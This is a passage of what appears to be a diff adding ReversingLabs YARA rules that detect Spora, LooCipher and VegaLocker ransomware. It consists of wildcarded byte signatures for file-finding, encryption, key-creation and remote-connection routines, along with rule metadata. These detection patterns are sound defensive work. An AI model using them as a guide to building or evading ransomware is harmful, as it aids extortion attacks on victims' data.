+            00 1F ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 7E ??
+            ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 1B 8D ??
+            ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 06 A2 25 18 72 ?? ?? ?? ?? A2 25 19 28 ?? ?? ??
+            ?? A2 25 1A 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 08 6F ?? ?? ?? ?? 00 00
+            DE ?? 26 00 00 DE ?? 2A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($destroy_exe_file)
+}
+rule REVERSINGLABS_Win32_Ransomware_Spora : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Spora ransomware."
+		author = "ReversingLabs"
+		id = "f07ee1d4-d99b-5cbf-a1f0-a3802d9e3b47"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Spora.yara#L1-L124"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "4e18bb42277ce9194bf75fa45d95ea7e2bd51c5d7791d3d6e013fc07626e65b0"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Spora"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files = {
+            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 57 FF 75 ?? 33 FF 89 7D ?? FF 15 ?? ?? ?? ?? 83 F8
+            ?? 0F 84 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 53 56 57 BE
+            ?? ?? ?? ?? 56 6A ?? 57 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB
+            ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F
+            82 ?? ?? ?? ?? 6A ?? 57 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ??
+            ?? 57 8D 45 ?? 50 56 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 39 75
+            ?? 0F 85 ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 3B
+            45 ?? 0F 84 ?? ?? ?? ?? 39 7D ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? B9 ?? ??
+            ?? ?? 3B C1 72 ?? 89 4D ?? EB ?? 83 E0 ?? 89 45 ?? 57 FF 75 ?? 57 6A ?? 57 53 FF 15
+            ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? FF 75 ?? 57 57 6A ?? 50 FF 15 ?? ?? ??
+            ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57 FF
+            75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57
+            FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 57 57
+            57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 6A ??
+            57 57 53 89 45 ?? FF 15 ?? ?? ?? ?? 57 8D 45 ?? 50 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50
+            53 FF D6 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF D6 C7 45 ?? ?? ?? ?? ?? FF 75 ?? FF
+            15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? C7 45 ??
+            ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 5E 5B 8B 45 ?? 5F 83 C5 ?? C9 C2
+        }
+		$create_key_file = {
+            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? 33 F6 89 75 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F
+            84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D
+            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 45
+            ?? 50 56 6A ?? 56 FF 35 ?? ?? ?? ?? FF D7 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0
+            ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 56 56 56 FF 75 ?? FF D7 85 C0 0F 84 ?? ?? ?? ??
+            53 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B F8 3B FE 0F 84 ?? ?? ?? ?? 56 6A
+            ?? 57 56 FF 15 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50
+            FF 15 ?? ?? ?? ?? 83 C4 ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ??
+            89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 68
+            ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7D ??
+            ?? ?? ?? ?? 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? 57 68 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B D8 3B DE 74 ?? 89 75 ?? 8B 45
+            ?? 56 FF 74 85 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF
+            15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 53 57 FF 15 ?? ?? ?? ?? FF
+            45 ?? 83 7D ?? ?? 72 ?? 53 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 57 FF
+            15 ?? ?? ?? ?? 5B FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B 45 ?? 5E 83 C5 ?? C9 C2
+        }
+		$create_key = {
+            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 57 8D 45 ?? 50 8D 45 ?? 50
+            33 DB 53 6A ?? 53 FF 75 ?? BE ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 53 6A ?? 53 FF 35 ?? ?? ?? ??
+            FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0 ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ??
+            53 53 53 FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 8B 35 ?? ?? ?? ??
+            03 C8 51 6A ?? FF D6 8B F8 89 7D ?? 3B FB 0F 84 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 57 FF
+            15 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 8B 45 ?? 03 C7 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83
+            C4 ?? 8D 45 ?? 50 8B 45 ?? 53 6A ?? 03 C8 51 57 8B 3D ?? ?? ?? ?? FF D7 85 C0 74 ??
+            FF 75 ?? 6A ?? FF D6 8B F0 3B F3 74 ?? 8B 4D ?? 8D 45 ?? 50 8B 45 ?? 56 6A ?? 03 C8
+            51 FF 75 ?? FF D7 33 FF 38 1E 74 ?? 8B C6 80 38 ?? 75 ?? 40 40 8A 08 88 0C 37 47 40
+            38 18 75 ?? 88 1C 37 EB ?? 8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 75 ?? FF 75
+            ?? FF 15 ?? ?? ?? ?? 5F 5B EB ?? 8B 75 ?? 8B C6 5E 83 C5 ?? C9 C2
+        }
+		$create_lst_file = {
+            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 53 56 68 ?? ?? ?? ?? 33 F6 6A ?? 89 75 ?? FF 15 ??
+            ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 45 ?? 8B 38 8D 45
+            ?? 50 53 83 C7 ?? FF 15 ?? ?? ?? ?? 03 C0 50 53 FF 75 ?? FF 17 8B 45 ?? 8B 08 8D 55
+            ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 53 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 8B 08
+            8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ??
+            8B 3D ?? ?? ?? ?? 56 56 56 56 6A ?? 50 56 68 ?? ?? ?? ?? FF D7 89 45 ?? 3B C6 0F 84
+            ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 56
+            56 FF 75 ?? 50 6A ?? FF 75 ?? 56 68 ?? ?? ?? ?? FF D7 8D 45 ?? 50 6A ?? 68 ?? ?? ??
+            ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 E0 ?? 83
+            C0 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D ??
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 56 56
+            56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 6A ?? 53 56 FF 15 ?? ?? ??
+            ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4
+            ?? 57 53 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ??
+            89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57
+            8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 7D ?? 75 ?? FF 75 ?? C7 45 ??
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 3B FE 74 ?? 56 6A ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0
+            74 ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50 FF 15 ?? ?? ?? ?? 83
+            C4 ?? 56 57 53 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ??
+            ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
+            5F 8B 45 ?? 8B 08 50 FF 51 ?? 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 5E 5B 83 C5 ?? C9 C2
+        }
+		$enumerate_resources = {
+            55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85
+            ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 57 BE ?? ?? ?? ?? 56 6A ?? FF D3 8B F8 89 7D ??
+            85 FF [2-8] 83 4D ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? 89 75 ?? E8
+            ?? ?? ?? ?? 85 C0 75 ?? 39 45 ?? 74 ?? 8D 77 ?? F6 46 ?? ?? 74 ?? 8D 46 ?? 50 [0-3]
+            E8 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 36 FF 15 ?? ?? ?? ?? 8D 44 00 ?? 50 6A
+            ?? FF D3 8B F8 85 FF 74 ?? FF 36 57 FF 15 ?? ?? ?? ?? [0-5] 57 E8 ?? ?? ??
+            ?? 57 FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 75 ?? 8B 7D ?? 57 FF 15 ?? ?? ?? ?? FF 75
+            ?? E8 ?? ?? ?? ?? 5F 5E 5B C9 C2
+        }
+
+	condition:
+		uint16(0)==0x5A4D and (($create_key_file and $create_lst_file and $enumerate_resources and $encrypt_files) or ($create_key and $enumerate_resources and $encrypt_files))
+}
+rule REVERSINGLABS_Win32_Ransomware_Loocipher : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects LooCipher ransomware."
+		author = "ReversingLabs"
+		id = "b5aa2bd0-72b0-5013-a60e-9b4f1ee1de1f"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.LooCipher.yara#L1-L87"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "aa0598d63b5fad6aea0945a0aa2030d3d6e2cd9f1fea16f3dd17cdceb68323e3"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "LooCipher"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$remote_connection = {
+            6A ?? 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 B9 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 68 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50
+            8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8
+        }
+		$encrypt_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? 53 56 57 8D BD
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 AB A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D
+            45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B7 4D ?? 3B C1 74
+            ?? E8 ?? ?? ?? ?? 8B F0 8D 4D ?? E8 ?? ?? ?? ?? 8B C8 83 E9 ?? 8B C6 33 D2 F7 F1 89
+            55 ?? 6A ?? 8B 45 ?? 50 8D 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ??
+            ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 4D ?? E8
+            ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 50 8B 4D ??
+            E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C9 ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 52 8B CD 50 8D 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 58 5A 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ??
+            33 CD E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 3B EC E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$find_files = {
+            52 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 C0 85 C0 0F 84 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 8B F4 89
+            A5 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 50 ?? 52 8B 00 50 8B CE E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C6 45 ?? ?? B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 8D ?? ?? ?? ?? 51 C6 45 ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
+            68 ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? EB ?? 83 EC ?? 8B CC
+            89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D
+            ?? ?? ?? ?? 89 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($remote_connection)
+}
+rule REVERSINGLABS_Win32_Ransomware_Vegalocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects VegaLocker ransomware."
+		author = "ReversingLabs"
+		id = "53eec8d1-bab0-5556-92c0-1b70eb763fa5"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.VegaLocker.yara#L1-L100"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8616e72fc435676179e83a304d4111c8f29ebf3cd79ff5b2d229cca8fc97c2a3"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "VegaLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ??
+            ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74
+            ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45
+            ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ??
+            ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84
+            ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6
+            03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03
+            C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45
+            ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3
+            48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85
+            ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3
+        }
+		$encrypt_files_p1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D
+            ?? ?? ?? ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 4D ?? 89 55 ?? 89 45 ?? 8D 45 ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64
+            FF 30 64 89 20 C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85
+            ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 C0 55 68
